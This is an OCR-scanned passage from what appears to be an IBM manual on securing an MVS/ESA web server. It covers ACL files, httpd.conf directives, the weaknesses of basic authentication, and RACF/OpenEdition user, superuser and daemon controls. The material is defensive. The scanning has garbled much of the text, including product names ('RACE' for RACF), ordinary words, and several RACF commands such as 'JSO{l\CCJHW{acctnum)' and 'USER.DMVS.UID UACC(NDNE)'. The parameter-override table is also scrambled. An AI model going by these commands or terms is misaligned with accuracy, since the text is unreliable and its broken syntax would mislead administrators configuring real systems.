next steps in the configuration file. 

• PutMask WEBADM®9.12.14.* 

The server checks the user name against the valid user name WEBADM 
and the address of the requestor against the address template. 

If there is a match, the process continues with the next step. If there is 
no match, the process ends and the server returns a message to the 
requestor saying that the authorization failed. Only a user name 
WEBADM with a matching address can PUT a message on the protected 
pages if he passes the next step in the configuration file. 
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Refer to A.1.9, “User Names, Group Names, and Address Templates on Mask 
Sub-directives” on page 149 for a detailed overview of the Mask sub-directive. 

3. The server checks the user name sent by the requestor against the user 
name in the database of the external security manager, as indicated by the 
PasswdFile sub-directive by %%SAF%%. 

If there is a match, the process continues with the next step. If there is no 
match, the process ends and the server returns a message to the requestor 
saying that the authorization failed. 

4. The server checks the password sent by the requestor against the password 
that is defined in the database of the external security manager. 

If there is a match, the process continues with the next step in the 
configuration file. If there is no match or the password is expired, the 
process ends and the server returns a message to the requestor saying that 
the authorization failed. 


3.9 Using Access Control List (ACL) Files 

Access control list (ACL) files can be used to limit access to specific files on a 
protected directory. Each protected directory can have only one ACL file. The 
ACF file must be named .www_acl and be present on the protected directory. 

Normally, the Mask sub-directives (GetMask, PostMask, PutMask, and 
DeleteMask) in the protection setup define the first level of access control, and 
then the ACL files further limits access to individual files. However, the 
configuration directive ACLOverride controls whether the .www_acl file is 
logically added to the controls in the protection setup or is used instead of those 
controls. The ACLOverride sub-directive with a value of On in the protection 
setup causes the Mask sub-directive in the protection setup to be ignored when 
a protected directory contains an ACL file. 

Protected requests must have either a Mask in a protection setup or a .www_acl 
file in the directory. 

Within the ACL file, each line contains a rule limiting access based on: 

• The file name (wildcards are allowed) 

• The user name (Authentication is required) or server group file 

• The IP address (wildcards are allowed) or the the domain name 

• The HTTP method 

The server processes the rules in the ACL file from top to bottom. The server 
compares the three elements of each rule to the request until a match is found 
or until the end of the file is reached. 

Some examples of ACL file entries are: 

* : GET : All 

*htnil : GET,POST : groupl 

secret.* : GET,POST : group2,@*ibni.coni 

welcome.html : GET,POST,DELETE : WEBADM@9.12.14.201 

In the above example, any valid user name and password can be used to GET 
any file on the directory. User names defined for the group groupl can be used 
to POST to any HTML file. User names defined for group group2 that match the 
address template *ibm.com can be used to POST to files that start with secret. 
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From IP address 9.12.14.201, the user name WEBADM can be used to delete the 
welcome.html file. 

ACL file access control does not bypass the access control check that is 
performed through the SAF interface, if the protection setup or .www_aci 
authorization permits access to the fiie, the (surrogate) user iD must aiso have 
the correct r/w/x permissions in the fiie security packet for the fiie. Refer to 
3.3.3, “Which User iD is Used in Access Controi Checks?” on page 34 to see 
how the Web server determines which (surrogate) user ID should be used. 


3.10 Editing and Activating the Configuration Fiie 

The configuration file is made up of statements called directives and 
sub-directives. You can change your configuration file by editing the 
configuration file, updating the directives and sub-directives, and saving your 
changes. The default configuration file name is /etc/httpd.conf. 


You can verify in the IMWEBSRV proc that your server is using the default 
configuration file. You can start your server using your own configuration file by 
adding the following statement to your startup proc in the proclib. 

//PARM=' -r /usr/local/httpd.conf' 

To manipulate the configuration file, use the TSO command: 

OEDIT /etc/httpd.conf 


It also possible to specify configuration overrides in the proc by using the 
following FARM statements: 


-cacheroot /tmp/websrv 
-dxx 


n 

s 

y 


# CacheRoot path 

# directory browse options 

# DirAccess Off 

# DirAccess Selective 

# DirAccess On 

# DirREADME bottom 

# DirREADME top 

# DirREADME off 


-disable 

XXX 

# Disable 

method 

-enable 

-gmt 

-local time 

XXX 

# Enable 

# 

# LogTime 

# LogTime 

method 

GMT 

Local Time 

-nolog 

XXX 

# NoLog 

XXX (one per -nolog) 

-1 

xxxx/httlog. 

# AccessLog 

path/name 

-errlog 

xxxx/htterr. 

# ErrorLog 

path/name 

-newlog 

xxxx/httlog. 

# LogFormat 

Common 

-oldlog 

xxxx/httlog. 

# LogFormat 

# 

# HostName 

Did 

-h 

XXX.XXX.XXX 

domain.name or IP.addr 

-P 

nnnn 

# Port 

# 

# RuleFile 

# 

# ServerRool 

nnn (default 8D) 

-r 

xxxxxxx 

/etc/httpd.conf 

path/name 

t xxxxxxx; Pass /* 


To make your changes take effect, restart the server. You must stop the server 
and start it again if you changed one of the following directives: 

• Port 
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• Userid 

• Groupid 

• PidFile 


3.10.1 Using the Configuration and Administration Forms 

The Internet Connection Server for MVS/ESA comes with a tooi calied the 
Configuration and Administration Forms. This tooi is a combination of CGi 
programs and FITML forms. One way to update the configuration fiie is to 
connect to your fledgiing server using a Web browser and seiect the 
Configuration and Administration Forms option (The fuii URL is 
http ://your_server/admin-bin/cf gin/initial). 

These forms are, themseives, protected by the basic authentication scheme, so 
you wiii be prompted to enter an administrator's ID and password. 

The dialogs in the Configuration and Administration forms cause the server 
configuration file to be updated. 

Refer to Internet Connection Server for MVS/ESA User's Guide for detailed 
procedures that can assist you in using these Configuration and Administration 
Forms. 


3.10.2 Protecting the Configuration and Administration Forms 

The OS/390 Internet BonusPak provides a default configuration file with a 
protection setup that authorizes user WEBADM to access the configuration and 
administration forms. The user ID and password for WEBADM are validated in 
the external security manager. 


Protection IMW_Adniin { 
Serverld 
AuthType 
PasswdFile 
Mask 

} 


IMWEBSRV_Adnii ni strati on 

Basi c 

%%SAF%% 

WEBADM 


Protect /admin-bin/* IMW_Adniin WEBADM 

Note: The configuration file is case-sensitive. The user ID that is specified in 
the protection setup, in this case WEBADM, must match the user ID that is typed 
in by the client that is using the specified user ID. 
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Chapter 4. Security Considerations When Using Basic Server 
Security 


The basic server security is controlled through statements in the configuration 
file. These statements are called directives and sub-directives. The basic 
security facilities that are provided with the Internet Connection Server for 
MVS/ESA are based on one of the following elements or a combination of them: 

• The source IP address 

• User ID and passwords sent to the Web server 

When a request is received, the header indicates the originator of the request. 

For your local controlled corporate network, you can take it for granted that the 
header of this request truly identifies the sender of this request. But it is 
possible for a “hacker” coming from a network that you do not control (for 
example the Internet), to forge the header so that it falsely identifies a trusted 
client. It is virtually impossible to detect when someone impersonates another 
user. For certain configurations, additional security facilities, such as 
source-address filtering firewalls with logging options, are needed to protect 
your Web server against address-spoofing attacks. Refer to Chapter 2, “Network 
Security and Firewalls” on page 15 for a detailed discussion on the different 
scenarios with and without firewalls. 


4.1 User Authentication in the Internet Connection Server for MVS/ESA 

There are some differences in the way a client can authenticate himself to a 
server. Networks use a variety of communication methods, some of which are 
connectioniess, and others that are connection-oriented. To understand the 
difference in the identification and authentication facilities, you need to 
understand how connectionless communications differ from connection-oriented 
communications. 

Environments in which a physical as well as logical point-to-point connection 
exists are called connection-oriented. A good example of such a network 
connection is your TSO terminal-host session or the Transmission Controi 
Protocoi (TCP) that is used to communicate with the Internet Connection Server 
for MVS/ESA. 

User Datagram Protocol (UDP), a member of the TCP/IP family of protocols, is a 
good example of a connectionless environment. The difference between TCP 
and UDP is the way they handle connections between two machines. TCP sets 
up a connection in such a manner that the two machines are joined, each aware 
of the machine at the other end. By using a facility that is based on sequence 
numbers that are updated with each message, the two machines let each other 
know what is going on and acknowledge each message sent. UDP doesn't try to 
set up a connection. It simply bundles up the message, attaches the IP address 
of the destination machine, and sends the package over the network. Obviously, 
TCP is a more reliable method of communication. 

No matter which of the two protocols (TCP or UDP) you use, packages leave your 
Web browser and travel through the network until they reach an address that 
matches the destination address. Your packages have no idea which route they 
are taking; the header information is read by every node it touches. The 
receiving node should not rely on the originating address of this package. The 


© Copyright IBM Corp. 1996 


43 



package might come from an address that is outside the scope of its own 
administration boundary. Since modern hacker techniques are abie to orack the 
sequence numbering that is used in the TCP protocoi, you shouid not reiy on iP 
addressing for security. 

4.1.1 Sending Your Credentials 

In order to accept certain requests, the receiver might request an additionai 
proof of the identity of the originator. These credentiais are assooiated with this 
request. This introduces a possibie security exposure when the requests are 
sent over an open network, such as the Internet. The security issue is that an 
intruder can masquerade as a iegitimate ciient by sending a package with a 
iegitimate originating address and the credentiais that he copied from a vaiid 
request that passed his node. 

Of course, masquerading is aiso possibie in a controiied corporate network, but 
it is uniikeiy that an intruder is abie to introduce a foreign terminai into a 
physioaiiy controiied corporate network. Just in oase a seourity breach is 
detected, you know where it is coming from, and you can iimit the possibie 
intruder to the individuais that have physioai access to terminais on the 
corporate network. In an open network, the intruder oan be anyone who has 
iogioai access to the network. 

4.1.2 How Does the Internet Connection Server for MVS/ESA Use 
Authentication? 

The internet Connection Server for MVS/ESA can be configured in such a way 
that the ciient needs to identify himseif to the server by sending a user ID and 
password. Certain pages oan be protected by using a security setup, whiie other 
pages are accessibie by aii oiients. The requested credentiais are vaiidated in 
either the RACE database or in the password fiie that is associated with the 
security setup in the server. 

Today, numerous ways exist (and are pubiished) to craok a password. Aiso the 
way passwords are scrambied when they are sent over the internet is no ionger 
a serious ohaiienge for professional hackers. The way the Web server and the 
Web browser communicate with each other adds an additionai seourity risk to 
this password exchange. Due to the stateiess nature of the HTTP protocoi, the 
Web server does not retain knowiedge about the ciient once it has served the 
request. 

The Web server requires the security credentiais from the oiient each time the 
client accesses a protected page. You oan compare this to a TSO environment 
where the user needs to type his user iD and password eaoh time he accesses a 
different data set. Most Web browsers have circumvented this very irritating 
type of operation. Aii browsers have their own soiution for this probiem; some 
are more secure than others. 

4.1.3 Pay Attention to Passwords 

In any password based system there are certain common probiems that make it 
difficuit to be sure that the user realiy is who he ciaims to be. The user ID and 
password can be compromised, for exampie, by: 

• Users who voiuntariiy give their user iD and password to another person 

• Users who have their user iD and password written down where someone 
may find it and use it without their knowiedge 
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• Someone who may have guessed the password 

• Someone who may have intercepted the user ID and password between the 
client and server system 

The first three possibilities are problems that occur in any password-based 
system. The normal response to such systems is to suggest better user 
education and password rules. This is quite reasonable, and can be effective 
within your own single enterprise, where you have some control over the users 
of the system and over your network. It is much less effective in the Internet 
environment, where users can come from any background and location. 

The risk of intercepting the user ID and password depends on the level of 
protection that is given to messages by the HTTP protocol. As mentioned 
earlier, a masking algorithm is used to protect the user ID and password from 
casual viewing. Unfortunately, the protection it provides is minimal. 

Using a user ID and password on your own corporate network should not be a 
problem, especially when you have good password rules and user awareness in 
place. But you should not rely on this security scheme when you accept 
requests from clients who access your Internet Connection Server for MVS/ESA 
through an open network such as the Internet. 

4.1.4 How Browsers Handle Your Credentials 

Basically what most browsers do is the following. The first time a browser 
contacts a particular server, it doesn't know if anything requires authentication 
and it doesn't send any. When the server sends a 401 message (the request 
requires user authentication), it also sends a header saying in which “Serverld” 
domain the user ID and password will be checked. This name is supplied in the 
security setup in the configuration file. The browser then prompts the user for a 
user ID and password and resubmits the same request with an Authentication 
header. 

Most browsers appear to cache the last successful Authentication header under 
both the Web server IP address and Serverld string. The browser sends that 
Authentication header on every ensuing request to the server, since they don't 
know if the following request also needs one. The server ignores the 
Authentication header if the current request doesn't fall under a protection setup. 
In most cases this means that unnecessary headers are sent for unprotected 
pages. The browser keeps on doing so until the server sends another 401 
message. When a 401 is returned that indicates a failure occurred in a different 
Serverld, and the browser has a cached Authentication header for that domain, it 
transparently resends the request with that header. 

This introduces some additional security exposures. The security credentials 
are sent across the Internet more often than really needed. This gives possible 
hackers more opportunities to crack your password. The second security issue 
is that your browser saves your credentials in a cache. They will stay in your 
workstation until you exit your Web browser. One might compare this to leaving 
your TSO session connected. 
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4.1.5 What Authentication Faciiity Shouid you Use? 

The PasswdFile sub-directive can be used to specify the way you want users to 
be authenticated. User IDs and passwords can be vaiidated in the foiiowing 
ways: 

• In a password file that is associated with the security setup 

• In an external security manager, such as Resource Access Control Facility 

You can specify the path name of the password file that should be associated 
with this security setup. The Internet Connection Server for MVS/ESA uses 
UNIX-style password files with one-way encryption. These files are built and 
maintained by the Web administrator using a htadm command. The technique 
used produces a string that is repeatable but not decryptable. The server 
encrypts the trial password sent in and compares the encrypted result. 

The Internet Connection Server for MVS/ESA is the only product in the Web 
server family that also supports system user IDs and passwords. When the 
PasswdFile sub-directive specifies %%SAF%%, the Web server checks the user 
ID and password through the SAF interface. In this case, the user must be a 
valid local MVS user and supply the correct password. 

In either case, the user ID and password are used for authenticating the user for 
authorizing access through a Mask sub-directive found in the active Protection 
setup. If the user is authorized to continue, the request is processed under: 

• The associated surrogate user ID from a Protect, DefProt, or protection setup 

• The default surrogate user ID 

This surrogate user ID is often different than the user ID passed by the browser 
for authentication. The surrogate user ID is what is used for all access control 
checking to files and programs. Only if the surrogate user ID is specified as 
%%CLIENT%% does the server run the request under the authenticated user 
ID. 

4.1.6 Recommendations 

There are different scenarios for which you should review the security issues if 
you like to use user authentication. These scenarios are: 

• If you are sending your requests over a controlled corporate network, it is 
secure to use user ID and password authentication. It does not differentiate 
from your current operations where you send user IDs and passwords to 
your TSO, CICS, or IMS sessions. Your Web server requests are probably 
more secure since the credentials are scrambled if they are sent over the 
network. 

• If you are sending your requests over an open network, such as the Internet, 
you should use additional security facilities as described in Chapter 11, 
“Future Security for Your Internet Connection Server for MVS/ESA” on 
page 137. If you would like to start testing the user authentication facilities 
over the Internet, use a password file instead of the RACE database. This 
prevents your MVS user IDs from being exposed. In case the user ID from 
the password file are compromised, they can only be used to access the 
Web pages that they protect. 
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Chapter 5. Protecting Your Internet Connection Server for MVS/ESA 


As listed in 1.1.1, “Security Objectives” on page 2, access control and 
authentication are among the objectives for the security of your Internet 
Connection Server fer MVS/ESA. This means that yeu must set up your server 
in the following ways: 

• It should only deliver documents from within certain directories. You do not 
want people to be able to retrieve system files. 

• It should only deliver restricted documents to authorized users. 

• In order te make the decision whether to send these restricted documents, 
you need te be able te identify and authenticate the requestor. 

The HTTP standard provides a mechanism called basic authentication to address 
part of these requirements. It is a challenge-response procedure whereby the 
server rejects the initial request with a status code 401. The client is then 
expected to resend the request with a valid user ID and password in the header. 

Basic authentication is not a very secure system, because the process it uses to 
send the user ID and password (base64 encoding) merely obscures them from 
casual view. RACE can be used te identify and authenticate the user. 

As explained in Chapter 4, “Security Considerations When Using Basic Server 
Security” on page 43, we recemmend you not use this basic authenticaticn 
facility for users that access your Internet Connectien Server for MVS/ESA 
through the Internet. It is safer te use this facility if the user accesses your 
server through your corporate netwerk. 

Chapter 3, “Protecting the Pages on Your Internet Connection Server for 
MVS/ESA” on page 31 provides a more detailed discussion on basic 
authentication. Chapter 11, “Future Security for Your Internet Connection Server 
for MVS/ESA” on page 137 gives an overview of future enhancements that will 
allow you to use basic authentication on the Internet as well. 

Once you have installed your Internet Connection Server for MVS/ESA, you will 
start adding HTML and other documents for it to serve. However you want to be 
sure that it will serve only those decuments. The Internet Connectien Server for 
MVS/ESA allows you to define mapping ruies to determine which file will really 
be retrieved when a user requests it. The mapping rules are stored in the main 
configuration file. 

You can configure the server by using the Internet Connection Server 
Cenfiguration and Administratien Forms or by editing the server's configuration 
file directly. After installing the default configuration file that is part of the 
OS/390 Internet BonusPak, yeur server has one autherized user name that can 
be used to access the Configuration and Administration Forms. By default, the 
authorized user name is WEBADM. 

Chapter 3, “Pretecting the Pages on Your Internet Connection Server for 
MVS/ESA” on page 31 describes the configuration file and the mapping rules. It 
also tells you how you can change yeur server's configuration. It focuses on 
how to control which requests will be accepted and which documents you call 
the external security manager for to perform an additional access control check. 
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Examples in this book assume that RACE is used to control who has what type of 
access to your files and directories. 

In order to be able to make the right security decisions through RACE, every 
user and every process that needs access to resources must have a RACE user 
ID assigned to it. This includes the Web server daemon. 

The individual users that access your Web Server can be one of the following: 

• Anonymous users. They are not identified and authenticated and can only 
access a limited number of public pages. 

• Identified and authenticated users that have no standard user ID on your 
system. These users will use a so-called surrogate user ID and can access 
different classes of pages depending on the user ID they used to login into 
your Web Server. 

• Identified and authenticated users that have a standard user ID on your 
system. These users can access directories and files based on their 
permissions for these resources. 

You must be sure that your Internet Connection Server for MVS/ESA daemon 
performs the various user identifications and authentications and that no one 
modified your daemon. In order to ensure that a known and trusted load module 
is executed when your Internet Connection Server for MVS/ESA is started, 
establish a so called controlled environment. RACE can be used to set up and 
maintain this controlled environment. 


5.1 RACF Environment to Protect Your Internet Connection Server for 
MVS/ESA 

The Internet Connection Server for MVS/ESA for MVS/ESA has extensive access 
control support including RACE validation of user IDs and passwords and access 
control through surrogate user ID support. 

Resource Access Control Eacility manages system and data security in an 
OS/390 OpenEdition environment by verifying that a user can access: 

• OpenEdition MVS processes (programs that uses OpenEdition MVS services) 

• OpenEdition MVS files and directories 

Standard RACE is used to establish a controlled environment that ensures, for 
example, that the daemon that is executed is not modified in such a way that 
security functions are not performed. 

The following topics provide a detailed overview of the various RACE and UNIX 
security features, how they relate to each other, and how they are exploited in 
securing the Internet Connection Server for MVS/ESA. Topic 5.12, “Step-by-Step 
Procedure to Implement the RACE Security” on page 71 provides a detailed 
procedure to implement this security. 

This document assumes that the OpenEdition MVS kernel is installed and 
running and has a RACE user ID assigned to it. If that is not done yet, refer to 
OS/390 OpenEdition MVS Planning for more information on how to set up the 
kernel security. 
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5.2 UNIX Security Basics 

On UNIX systems, each user needs an account that is made up of a user name, 
and a password. UNIX uses the /etc/passwd file to keep track of user name and 
an encrypted password for every user on the system. Internally, the UNIX 
operating system uses a numeric ID to refer to a user, so in addition to user 
name and password, the /etc/passwd file also contains a numeric ID called the 
user identifier or UID. UNIX operating systems differ, but generally these UIDs 
are unsigned 16 bit numbers, ranging from 0 to 65535. The UID is the actual 
number that the operating system uses to identify the user. User names are 
provided as a convenience, giving us an easy way for us to remember our sign 
on to the UNIX system. If two users are assigned the same UID, UNIX views 
them as the same user, even if they have different user names and passwords. 
Two users with the same UID can freely read and write over each other's files 
and can kill each other's processes. Assigning the same UID to multiple users 
is generally not recommended. 

UNIX systems have the concept of groups where you group together many users 
who need to access a set of common files, directories, or devices. Like user 
names and UIDs, groups have both group names and group identification 
numbers (GIDs). Each user belongs to a primary group that is stored in the 
/etc/passwd file on UNIX systems. 

Along with user name, encrypted password, UID, and GID, the /etc/passwd file 
also contains the user's full name, the user's home directory (the directory 
where a user generally stores his files) and the file name of the shell program 
that is executed when the user initially logs in. 

5.2.1 UNIX Superusers 

In UNIX systems it is common for one person to have full administrative authority 
for a system. In MVS, it is common for these administrative authorities to be 
divided among several people. OS/390 OpenEdition has provided a way for you 
to separate some of the authorities normally granted to superusers. Refer to 
5.3.5, “Controlling Superusers Under OS/390 OpenEdition” on page 53 for a 
detailed description of how to control superusers under OS/390 OpenEdition. 


5.3 OS/390 OpenEdition Users 

A OpenEdition MVS user is identified by an OMVS user ID (UID), which is kept in 
the RACE user profile, and a OMVS group ID (GID), which is kept in the RACE 
group profile. 

The system can verify the user IDs and passwords of the users, for example, 
when: 

• They log on to a TSO/E session or when a job starts. 

• A user in a TSO/E session invokes the shell. RACE then verifies that the 
interactive user is defined to OpenEdition MVS before the system initializes 
the shell. 

• A program requests a service from OpenEdition MVS. RACE verifies that the 
user running the program is defined to OpenEdition MVS before the system 
provides the service. 

• A user does a native login, for example, by using R_login. 
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OpenEdition MVS information about the user is stored in a OMVS segment in the 
user profile. OpenEdition MVS information about the RACE group is stored in the 
OMVS segment in the RACE group profile. 

5.3.1 Maintaining OS/390 OpenEdition Users 

The following RACE commands can add, modify, and list OpenEdition information 
for a RACE user or RACE group profile: 

• ADDUSER 

• ALTUSER 

• LISTUSER 

• ADDGROUP 

• ALTGROUP 

• LISTGROUP 

The ISPE RACE panels can be used to add, change and list the OpenEdition 
information for RACE users and groups. 

To authorize a RACE user to access OpenEdition MVS resources, you must add 
an OMVS user ID to the RACE user profile for an existing or new TSO/E user and 
connect each user to a RACE group that has a GID. You also have to add an 
OMVS group ID (GID) to a RACE group profile for an existing or new RACE 
group. The UID and GID number value can range from 0 to 214783647. 

Similar to the way some users with special RACE attributes have unrestricted 
ability to access resources and processes within MVS, there must be a so-called 
superuser defined for the OpenEdition MVS environment. Each user who has a 
UID = 0 is a superuser. 

When a user is logged on to OpenEdition MVS, the UID from the user's RACE 
user profile becomes the effective UID of his process. This effective UID is used 
to check the user authorization. 

When a TSO/E user becomes an OpenEdition user, the GID from his current 
connect group becomes the effective GID of the user's process. The user can 
access resources available to members of the user's effective GID. 

When RACF list-of-group checking is active, a user can access an OpenEdition 
resource if it is available to members of any group the user is connected to and 
if the group has a GID in its RACE profile. The additional groups are called 
supplemental groups. 

To activate the RACE list-of-group checking, specify the GRPLIST parameter on a 
SETROPTS command. 

The maximum number of supplemental groups that can be associated with a 
process is 300. 

5.3.2 Adding a New OpenEdition MVS User 

To add a new user with access to the OpenEdition MVS environment, use the 
following commands. The user description is as follows: 
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Name : 

PETER 

Group : 

IMWEB 

PROC : 

TSOPROC 

PROGRAM : 

/bin/sh 

HOME : 

/u/peter 


To add the new user through a RACF TSO command, enter the following on the 
TSO command line: 

ADDUSER PETER DFLTGRP(IMWEB) NAME('PETER') PASSWORD(possivorcy) 

0MVS(UID(123) HOME('/u/peter') PROGRAM('/bin/sh')) 

JSO{l\CCJHW{acctnum) PROC{tsoproc) W\XSlZE{maximum_region_size )) 

If the (default) group (and the OMVS segment) does not already exist, use the 
following RACF command prior to entering the ADDUSER command: 

ADDGROUP IMWEB SUPGROUP(sivpgroivp) 0MVS(GID(G7D)) 

You can alter the user profile for an already existing RACF user to add the 
information to the OMVS segment by using the following TSO RACF command: 

ALTUSER PETER 0MVS(UID(123) H0ME('/ u/peter') PROGRAM('/bin/sh')) 

To list the OMVS segment information in a user profile, use the following RACF 
TSO command: 

LU PETER OMVS NORACF 

The output of this LISTUSER command might look like: 

USER=PETER 

OMVS INFORMATION 


UID= 123 
H0ME= /u/peter 
PR0GRAM= /bin/sh 

The HOME information /u/peter is the home directory the user is connected to 
after he initialized the shell. The user can switch to another directory by using 
the OpenEdition shell command cd. PROGRAM tells you in which file the shell 
will be invoked. 

RACF panels can also be used to list the OMVS segment in a user profile. 

A user must belong to at least one group and can be connected to additional 
groups. When a user logs on to a TSO/E session, one of the groups is selected 
as the user's current group. For a user to be able to request OpenEdition MVS 
services and invoke the shell, the user's current RACF group must have an 
OpenEdition MVS group ID (GID) assigned to it. 

For useful reports and auditing, assign a unique GID to each RACF group. To 
add a group ID (GID) to an already existing group, use the following RACF TSO 
command: 

ALTGROUP IMWEB 0MVS(GID(G7D)) 

To list the OMVS segment information in a group profile, use the following 
command: 

LG groupname OMVS NORACF 
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RACF ISPF panels can also be used to add and list the OMVS group Information. 


5.3.3 Home Directory and Program 

The security administrator specifies the pathname of the home directory for each 
user or process in the HOME field of the OMVS segment In the RACF user 
profile. When a user Initializes the shell, the user's working directory is the 
home directory. 

This home directory is the default for a OpenEdItlon cd command. The user can 
use the cd command to use another directory as the working directory. 

On an open system, a working directory is normally defined In lowercase letters 
and usually has the user's TSO/E user ID as Its name, for example '/u/peter'. 

When the HOME directory is changed in a user profile, for example with the 
ALTUSER command, and this directory is not already defined, you get the 
following message when the user tries to access open a OpenEdition shell: 

FSUM2078I No session was started. The home directory for this TSO/E user ID 
does not exist or can not be accessed. + 

FSUM2079I Function = sigprocmask, return value= FFFFFFFF, return code= 0000009C 
reason code=0507014D 

There are two different ways to define this home directory. It can be defined by 
either using a TSO/E command: 

MKDIR ' directory_name' t^ODE{directory_permission_bits) 
or through an OpenEdition shell command: 
mkdir -m{permissionsJ'or_directory) directory_name 

The mede parameter (MODE in the TSO/E command and -m) is used to specify 
the requested access authority for users in the OpenEdition MVS environment. 

The permissien bits are changed with the OpenEditien shell command chmod. 

The PROGRAM variable specifies the OpenEditien MVS program that is invoked 
when the user enters the OpenEdition MVS environment, for example, by 
entering the TSO/E OMVS cemmand. If the shell Is to be Installed, the HOME 
and PROGRAM parameters must be specified. If the shell Is not to be installed, 
specify enly the HOME parameter. 

5.3.4 User Access for OMVS Segment 

To allow a user to see or change the OMVS field In a RACF user preflle, an 
Installation can set up field-level access. You can authorize a user to specified 
fields In any profile, er to specified fields in the user's own profile. First, define a 
profile for the OMVS segment fields UID, HOME and PROGRAM by using the 
following RACF TSO commands: 

RDEFINE FIELD USER.DMVS.UID UACC(NDNE) 

RDEFINE FIELD USER.DMVS.HDME UACC(NDNE) 

RDEFINE FIELD USER.DMVS.PRDGRAM UACC(NDNE) 

Next, permit users to access fields with the RACF PERMIT cemmands. &RACLJID 
allows all users to access the fields In their own profiles with the specified 
authority. UPDATE access allows users to change the fields; READ access 
allows the users to read the fields. 
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PERMIT USER.OMVS.UID CLASS(FIELD) ID(&RACUID) ACCESS(READ) 

PERMIT USER.OMVS.HOME CLASS(FIELD) ID(&RACUID) ACCESS(UPDATE) 

PERMIT USER.OMVS.PROGRAM CLASS(FIELD) ID(&RACUID) ACCESS(UPDATE) 


— Recommendation - 

Give only selected users UPDATE access to the UID field. A user with 
UPDATE access to the UID field can become a superuser by changing his 
UID to 0. 


To allow authorization to the entire OMVS segment (for example, for a 
OpenEdition MVS security administrator), the user needs UPDATE authority to 
the USER.OMVS.* profile in the FIELD class. 

Similar access controls can be used to control access to the GID field in the 
OMVS segment of the group profile. 

5.3.5 Controlling Superusers Under OS/390 OpenEdition 

OS/390 OpenEdition has provided a way for you to separate some of the 
authorities normally granted to superusers by the creation of three RACE facility 
class profiles: 

BPX.SUPERUSER This facility allows non-superuser users to gain superuser 
authority for OpenEdition MVS resources (for example, HFS 
files) only. 

BPX.DAEMON This facility is usually used for daemon programs that need to 

validate user passwords and then change the MVS identity 
and OpenEdition MVS UID and GID of a spawned address 
space. Programs that do this are RLOGIND, TELNETD, FTPD, 
and IMWEBSRV. 

BPX.SERVER Applications, such as OpenEdition daemons, can be enabled 
to customize the security environment of a thread, meaning 
that the thread may be executed under a different RACF 
identity than daemon. 

This facility is normally used for server programs that use 
POSIX threads and need to associate a surrogate MVS identity 
with each thread in its address space. Among the programs 
that do this is IMWEBSRV. 

5.3.6 UNIX-level Security Versus MVS-level Security 

OS/390 OpenEdition supports two levels of appropriate privileges. This allows 
the installation to optionally distinguish superusers from daemons. 

If there is no BPX.DAEMON profile defined in the RACF FACILITY class, the 
system has UNIX-level security. 

This level of security is for installations where superuser authority has been 
granted to system programmers. These individuals already have permission to 
access critical MVS data sets such as parmlib, proclib, and linklib. These 
system programmers have total authority over a system. 

Daemon programs run with superuser authority and can issue setuid() and 
seteuidO to change the MVS identity in an address space. 
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If there is a BPX.DAEMON profile defined in the RACE FACILITY class, the 
system has MVS-level security. Your system can exercise more control over 
your superusers. 

This level of security is for customers with very strict security requirements who 
need to have superusers maintaining the file system but want to have greater 
control over the MVS resources that these users can access. 

Although BPX.DAEMON provides some additional control over the capabilities of 
a superuser, a superuser should still be regarded as a privileged user because 
of the full range of privileges the superuser is granted. 

The additional control that BPX.DAEMON provides involves the use of 
OpenEdition MVS services such as setuid() that change a caller's MVS user 
identity. With BPX.DAEMON defined, a superuser process can only successfully 
run these services if both the following are true: 

• The caller's user identity is permitted to the BPX.DAEMON facility class 
profile. 

• All programs running in the address space have been fetched from a 
controlled library. Refer to 5.6, “Preventing Modifications to Your Load 
Module” on page 59 for more detail on how to create a controlled 
environment. The HFS cannot be identified as a security product controlled 
library. 

OpenEdition MVS services that change a caller's MVS user identity require the 
target MVS user identity to have an OMVS segment defined. Therefore, if you 
want to maintain this extra level of control at your installation, carefully choose 
the following: 

• Which daemons to permit to the BPX.DAEMON facility class 

• The users to whom you give OMVS security profile segments 

5.3.7 Defining Superusers 

You can define superusers in the following ways: 

• The recommended method is to permit the user to the BPX.SUPERUSER 
FACILITY class profile. This allows a user with a non-zero UID to switch to 
superuser authority to perform system maintenance. 

• The other method is to set the UID to 0 in the OMVS segment of the user 
profile. Using this methed, the user always runs as the superuser. In this 
environment, you risk entering commands that can damage the file system. 

If you want to assign a UID of 0, also assign a secondary user ID with a 
non-zero UID for activities other than system management. 

For example: 


User 

ID 

SMORG 

UID(O) 

--used 

for 

system maintenance 

User 

ID 

SMORGI 

UID(7) 

--used 

for 

regular programming activities 


54 MVS Web Server: Security 



5.3.8 Managing User Identities and Authorizations 

There are seme differences in the way UNiX and MVS systems manage user 
identities and autherizations. For exampie, in UNIX a superuser can change the 
UID of a process to any UID using setuid() or seteuid() functions. In 
OpenEdition MVS there are two options: 

• If the BPX.DAEMON FACILITY class profile is not defined, the superuser can 
change the UID of a process to any UID using setuid() or seteuid() 
functions. 

• The superuser must be permitted to the BPX.DAEMON FACILITY class profile 
in order to change UIDs. 

In UNIX, a su shell command allows change of a UID if user provides the root's 
password. In OpenEdition MVS, a su shell command allows change of a UID if 
user is permitted to the BPX.SUPERUSER FACILITY class profile. 

For a complete overview of the differences in how user identities are managed in 
UNIX, MVS, and OpenEdition MVS refer to Appendix B, “Managing User 
Identities and Authorizations” on page 155. 


5.4 Controlling Daemons 

A daemon is a “long-lived process” that runs unattended to perform continuous 
or periodic system-wide functions, such as network control. Some daemons are 
triggered automatically to perform their task; others operate periodically. 

The Internet Connection Server for MVS/ESA can be seen as a daemon. 

Although the Internet Connection Server for MVS/ESA IMWEBSRV is usually 
started as a started task, it can be controlled by using OpenEdition commands. 
For example, you should use the OpenEdition MVS kill command or 
administration (wwwcmd) shell command to stop or restart the process. You can 
also use the MVS commands PURGE and CANCEL to stop the Internet 
Connection Server for MVS/ESA. 

Among others, IBM supplies the following daemons with OpenEdition MVS: 

inetd Internet daemon 

riogind Remote login daemon 

cron batch scheduler 

Im OCS login monitor 

When UNIX systems are initialized (booted or IPLed), the /etc/rc shell script is 
run to perform system initialization functions and to start daemons. If a daemon 
terminates, a superuser must restart the daemon. 

On MVS, the installation has several ways of starting and restarting daemons. 
The method used depends on the level of control the installation has chosen for 
daemons. For example, daemons can be started using the following techniques: 

• Start the daemon with a MVS start command from the operator console. 

In order to get the Internet Connection Server for MVS/ESA daemon started 
with an MVS start command, you need to copy the sample procedure 
IMWEBSRV that is provided with this OS/390 Internet BonusPak in a 
procedure library (for example, SYS1 .PROCLIB). If you changed some of the 
default names of the target libraries that are defined in the OS/390 Internet 
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BonusPak, you must make the corresponding changes in the startup proc. A 
sampie proc is depicted beiow. 

//IMWEBSRV PROC 

